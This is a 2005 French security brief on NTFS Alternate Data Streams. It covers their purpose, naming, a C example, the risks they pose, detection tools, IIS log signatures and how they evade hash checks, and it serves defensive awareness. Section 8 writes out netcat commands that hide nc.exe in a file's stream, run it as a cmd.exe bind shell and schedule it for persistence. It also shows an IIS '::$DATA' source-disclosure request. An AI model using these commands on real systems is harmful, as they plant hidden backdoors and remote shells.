|
|
 | |  |  | Les Alternate Data Streams (ADS) |  |
par Stéphane Milani (05/08/2005)
========================================================================
Les Alternate Data Streams (ADS)
========================================================================
Cette brève traite des Alternate Data Streams.
Les ADS sont implémentés dans les systèmes de fichiers NTFS par toutes
les versions des systèmes Windows depuis Windows 3.1 en Mai 1993.
========================================================================
1 --- Introduction:
========================================================================
Le système de fichiers NTFS, utilisé par Windows Server 2003, Windows
XP, Windows 2000 et Windows NT, a une fonctionnalité qui est peu
documentée et inconnue de beaucoup de développeurs, administrateurs et
utilisateurs. Cette fonctionnalité se nomme Alternate Data Streams (Flux
de Données Additionnels) et permet à des données comme du texte, des
graphiques ou du code exécutable d'être stockées dans des fichiers
cachés. Ces derniers sont liés à un fichier visible normal.
2 --- Utilité des ADS:
========================================================================
Une des raisons principales du support des ADS par Windows (à ne pas
confondre avec Active Directory Service) est de permettre le support du
système de fichiers Macintosh Hierarchical File System (HFS) et ainsi de
permettre à un système de type Windows NT d'être serveur de fichiers
pour des clients Macintosh.
Les fichiers stockés par le système de fichiers Macintosh consistent en
deux parties (concept de forks): data fork et resource fork.
Windows utilise l'extension de fichier (par exemple .exe) pour
déterminer quel programme est associé avec un fichier, alors que
Macintosh utilise le resource fork pour ceci.
Windows a généralisé ce concept de resource fork et stocke les forks
Macintosh dans un flux (stream) NTFS caché. Le data fork devient alors
le fichier parent du flux.
Les ADS ont d'autres usages. Par exemple, il est possible de stocker
une image miniature d'une photo ou un track audio dans un flux NTFS.
Ceci permet à un simple fichier d'avoir plusieurs composants mutimédia.
Aussi, beaucoup de programmes antivirus stockent les checksums dans un
flux, sous chaque fichier du disque dur.
3 --- Convention de nom pour les flux:
========================================================================
Le nom complet d'un flux est <nom du fichier>:<nom du flux>:<type de flux>
Par exemple: hsc.dat:stream1:$DATA .
Par défaut le flux de données (data Stream) est anonyme. Si un
utilisateur crée un flux se nommant "foo", son nom complet sera exemple:foo:$DATA .
Les caratères ":" et la chaîne "$DATA" sont omis lors de la manipulation
d'un nom de flux.
4 --- Représentation des flux:
========================================================================
StreamHSC.doc --------------> [ Stream anonyme ]---> Visible de tous les systèmes de fichiers
principal
StreamHSC.doc:Stream1 ------> [ Stream1 ]---> Visible seulement des volumes NTFS
StreamHSC.doc:Stream2 ------> [ Stream2 ]---> Visible seulement des volumes NTFS
StreamHSC.doc:StreamN ------> [ StreamN ]---> Visible seulement des volumes NTFS
5 --- Exemple de code représentant un flux NTFS:
========================================================================
#include <windows.h>
#include <stdio.h>
void main( )
{
HANDLE hFile, hStream;
DWORD dwRet;
hFile = CreateFile( "testfile",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
0,
NULL );
if( hFile == INVALID_HANDLE_VALUE )
printf( "Cannot open testfile\n" );
else
WriteFile( hFile, "This is testfile", 16, &dwRet, NULL );
hStream = CreateFile( "testfile:stream",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
0,
NULL );
if( hStream == INVALID_HANDLE_VALUE )
printf( "Cannot open testfile:stream\n" );
else
WriteFile(hStream, "This is testfile:stream", 23, &dwRet, NULL);
}
6 --- Le risque au niveau de la sécurité des ADS:
========================================================================
Le principal risque au niveau de la sécurité est que les ADS sont
complètement cachés. Ceci offre une possibilité pour des chevaux
de troie, virus ou autres spywares d'en tirer un avantage certain.
Les flux NTFS peuvent facilement être créés et utilisés mais ils ne
peuvent être détectés que par des programmes spéciaux. Par exemple, un
programme comme l'Explorateur Windows (Explorer) peut voir les fichiers
normaux mais il ne peut pas voir les flux NTFS liés à des fichiers.
Aussi, Explorer ne peut déterminer l'espace disque utilisé par des flux.
Ceci peut permettre à un utilisateur malintentionné d'effectuer un Déni
de Service en remplissant le disque dur d'un autre utilisateur de façon
complètement invisible. (Les outils pour détecter les ADS sont dans le
paragraphe 9).
Pour être plus complet, il est utile d'ajouter qu'un flux NTFS ne peut
être effacé qu'avec son fichier parent.
7 --- Les principaux dangers des flux NTFS:
========================================================================
- Les flux ne sont visibles que par des logiciels spécialisés.
- Les flux ne s'attachent pas seulement aux fichiers, ils s'attachent
également aux répertoires.
- Il peut y avoir plusieurs flux attachés à un même fichier.
- Un flux ne peut être effacé. Le fichier parent avec lequel il est
attaché doit être effacé pour que le flux soit enlevé.
- Un flux attaché à un répertoire racine, par exemple "c::MonStream" ne
peut être effacé.
- "L'espace disque disponible" affiché par un programme comme Windows
Explorer ne prend pas en compte l'espace disque consommé par les flux.
- Un programme malveillant peut continuer à écrire dans un flux, et
ainsi remplir le disque dur d'un utilisateur et rendre le nettoyage
très difficile.
- Les flux peuvent être executés.
- Les flux qui s'exécutent n'ont pas leur nom correctement affiché dans
le Gestionnaire des tâches. Par exemple, si le flux "c:\hsc.txt:MonStream"
s'exécute, le Gestionnaire des tâches affichera seulement "hsc.txt".
- Il est possible de créer un site Web secret sur un serveur IIS 5.x et
inférieur.
8 --- Comment créer un flux NTFS:
========================================================================
Créer, écrire dans un flux et lire un flux est virtuellement identique
que pour un fichier normal, excepté pour le nom de fichier du flux qui
consiste en deux parties séparées par une colonne. La première partie
pointe sur le fichier parent du flux. La seconde partie est le nom
actuel du flux.
La syntaxe utilisée pour créer un ADS est relativement simple:
c:\echo Ceci est un ADS > hsc.txt:MonStream
Ceci crée (ou lit depuis, si le flux existe déjà) le flux "MonStream"
qui est lié au fichier parent c:\hsc.txt.
Le flux NTFS peut être affiché en tapant:
c:\notepad hsc.txt:MonStream
La commande "dir" ou bien un explorateur de fichiers, comme Explorer,
affichera que le fichier c:\hsc.txt fait O octet.
Aussi le fichier "c:\hsc.txt:MonStream" ne sera pas détecté. Ceci
provient du fait que "MonStream" n'est pas un vrai fichier. "MonStream"
est en fait un fichier de données lié au fichier parent c:\hsc.txt.
Modifier le fichier parent n'affectera aucunement les flux liés à ce
fichier. De même modifier un flux n'affecte pas son fichier parent.
"MonStream" est un stockage caché.
Exemple pour créer un Alternate Data Stream exécutable:
c:\type c:\winnt\notepad.exe > hsc.txt:NotepadCache.exe
c:\type c:\hsc\hack.exe > hsc.txt:hack.exe
Exemple avec netcat:
C:\> type c:\winnt\system32\nc.exe > c:\tmp\log.txt:backup.exe
C:\> start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe
C:\> at \\127.0.0.1 14:30 /every:M,T,W,Th,F,S,Su start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe
9 --- Outils pour détecter les ADS:
========================================================================
Microsoft ne fournit pas d'outil ou d'utilitaire par défaut pour
détecter la présence d'ADS.
- L'outil NTFSext.exe peut être téléchargé, de même que le fichier
strmext.dll qui est à mettre dans le répertoire system32.
Taper: regsvr32 StrmExt.dll.
Ceci permet d'avoir un nouvel onglet dans les propriétés des fichiers
de l'Explorateur Windows.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp
Windows Server 2003 R2 ( http://www.microsoft.com/windowsserver2003/R2/trial/default.mspx )
inclus des possibilités de quotas sur les répertoires et non plus
seulement sur les volumes grâce à la commande DIRQUOTA.EXE. Le
mécanisme des quotas fonctionne désormais avec les Alternate Data
Streams donc des utilisateurs malveillants ne pourront plus cacher
de données dans les ADS.
Pour les serveurs IIS, l'outil URLScan devrait être utilisé pour
détecter la présence éventuelle de sites Web secrets.
http://www.microsoft.com/windows2000/downloads/recommended/urlscan/default.asp
- Un très bon outil en ligne de commande pour détecter les ADS est LADS
écrit par Franck Heyne.
http://www.heysoft.de/
exemple d'utilisation:
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
Scanning directory C:\hsc
size ADS in file
---------- ---------------------------------
32768 C:\hsc\hsc1.txt:keylogger.exe
143360 C:\hsc\hsc2.txt:psexec.exe
86016 C:\hsc\hsc3.txt:pslist.exe
262144 bytes in 3 ADS listed
- Streams de Sysinternals
http://www.sysinternals.com/Utilities/Streams.html
- SDIR
http://www.wftpd.com/downloads/sdir.zip
- TDS-3
http://tds.diamondcs.com.au/
- Un outil graphique: Stream Explorer
http://www.rekenwonder.com/streamexplorer.htm
- ShowStream de JC Bellamy
http://jc.bellamy.free.fr/fr/stream.html#showstream
- lns
http://ntsecurity.nu/toolbox/lns/
- scSTREAMS
http://www.softcorp.us/scstreams.php?layout=print
Outils qui peuvent toujours servir en cas de besoin:
- GNU utilities for Win32
http://unxutils.sourceforge.net/
- Copy_ads
http://www.dmares.com/maresware/ac.htm#COPYADS
10 --- Exemple de détection d'une attaque $DATA dans les journaux IIS
========================================================================
Sur un serveur IIS d'une version inférieure à 6.0 sur lequel aucun
correctif de sécurité n'a été appliqué, la requête
http://monserveurIIS/default.asp::$DATA renvoie le source du fichier ASP
au lieu d'exécuter le script.
Lorsque cette attaque se produit, les journaux de IIS affichent ceci:
W3C Extended Log File Format:
11:25:12 10.0.0.5 GET /default.asp::$DATA 200
11:26:07 10.0.0.5 GET /default.asp::$DATA 304
11:54:04 10.0.0.5 GET /default.asp::$DATA 200
NCSA Common Log File Format:
10.0.0.5 - - [22/Jul/2005:11:25:12 -0600] "GET /default.asp::$DATA
HTTP/1.1" 200 13388
10.0.0.5 - - [22/Jul/2005:11:26:07 -0600] "GET /default.asp::$DATA
HTTP/1.1" 304 123
10.0.0.5 - - [22/Jul/2005:11:54:04 -0600] "GET /default.asp::$DATA
HTTP/1.1" 200 12219
Microsoft IIS Log File Format:
10.0.0.5,-
,22/Jul/2005,11:25:12,W3SVC,SERVER1,10.0.0.2,163,13388,200,0,GET,/default.asp::$DATA
10.0.0.5,-
,22/Jul/2005,11:26:07,W3SVC,SERVER1,10.0.0.2,163,123,304,0,GET,/default.asp::$DATA
10.0.0.5,-
,22/Jul/2005,11:54:04,W3SVC,SERVER1,10.0.0.2,163,12219,200,0,GET,/default.asp::$DATA
11 --- Exemple de détection d'un accès ADS dans les journaux IIS
========================================================================
La configuration par défaut d'URLScan empêche les accès aux fichiers ADS
et génère les lignes suivantes dans les journaux de IIS:
Client at 10.1.1.100: URL contains sequence ':', which is disallowed.
Request will be rejected. Site Instance='1', Raw
URL='/monserveurIIS/hsc.gif:secret'
12 --- Les algorithmes de hachages et les ADS
========================================================================
Les 2 algorithmes de hachage les plus utilisés sont le SHA-1 (Secure
Hash Algorithm) qui calcule un résumé de 160 bits, et le MD5 (Message-
Digest Algorithm), qui calcule un résumé de 128 bits.
Ces algorithmes permettent de calculer une empreinte unique pour un
fichier. Si un fichier est modifié, la valeur de l'empreinte de hachage
changera également. Ceci permet de vérifier l'intégrité des fichiers.
L'outil FCIV (File Checksum Integrity Verifier) de Microsoft est un
outil qui permet de calculer la valeur de hachage MD5 ou SHA1 d'un
fichier.
http://support.microsoft.com/default.aspx?scid=kb;en-us;841290
En créant un fichier essai.txt contenant un texte quelconque, il est
possible de vérifier la valeur MD5 du fichier grâce à FCIV:
C:\Steph>notepad essai.txt
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
cf992893402a79872cd39f83fc82a177 essai.txt
Si le texte du fichier essai.txt change, alors la valeur MD5 change
considérablement:
C:\Steph>notepad essai.txt
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
2039b7f75c06cf214ad8ddb497dd212 essai.txt
Tout ceci est normal.
Maintenant, en créant un Alternate Data Stream dans le fichier essai.txt:
C:\Steph>echo Ceci est un ADS > essai.txt:MonStream
C:\Steph>fciv.exe -md5 essai.txt
//
// File Checksum Integrity Verifier Version 2.05.
//
2039b7f75c06cf214ad8ddb497dd212 essai.txt
:-( La valeur MD5 est la même!
Toutes les actions effectuées sur l'ADS de ce fichier ne seront pas
détectées en calculant simplement la valeur de hachage avant et après
des modifications.
13 --- Conclusion
========================================================================
Les Alternate Data Stream permettent de fournir une compatibilité avec
HFS et jouent un rôle important dans NTFS.
Cependant, cette fonctionnalité peut être utilisée de façon malveillante.
Les utilisateurs ou les administrateurs systèmes doivent prendre en
compte les ADS et scanner régulièrement leurs fichiers en utilisant des
outils externes à Windows.
De même, un contrôle d'intégrité des fichiers doit pouvoir être réalisé
sur des alternate data streams.
Aussi, il ne faut pas oublier que les ADS peuvent être des fichiers
exécutables et toutes les précautions doivent être prises pour protéger
les systèmes.
14 --- Références
========================================================================
- Dark side of NTFS by H. Carvey
pHRACK#6o Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10
http://www.phrack.org/show.php?p=60&a=3
http://patriot.net/~carvdawg/docs/dark_side.html
- Alternate Data Streams: Out of the Shadows and into the Light
by Ryan L. Means for GCWN v3.1 (Option 3)
SANS Institute
http://www.sans.org/rr/whitepapers/honors/1503.php
- Alternate Data Streams for Managers
GIAC
http://www.giac.org/certified_professionals/practicals/gsec/1794.php
- Windows NTFS Alternate Data Streams by Don Parker
http://www.securityfocus.com/infocus/1822
- FAQ: Alternate Data Streams in NTFS by Frank Heyne
http://www.heysoft.de/nt/ntfs-ads.htm
- A Programmer's Perspective on NTFS 2000 Part 1: Stream and Hard Link
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp
- Les flux (méta-données dans les partitions NTFS) par JC Bellamy
http://jc.bellamy.free.fr/fr/stream.html
========================================================================
Stéphane Milani <Stephane.Milani@hsc.fr>
Hervé Schauer Consultants
|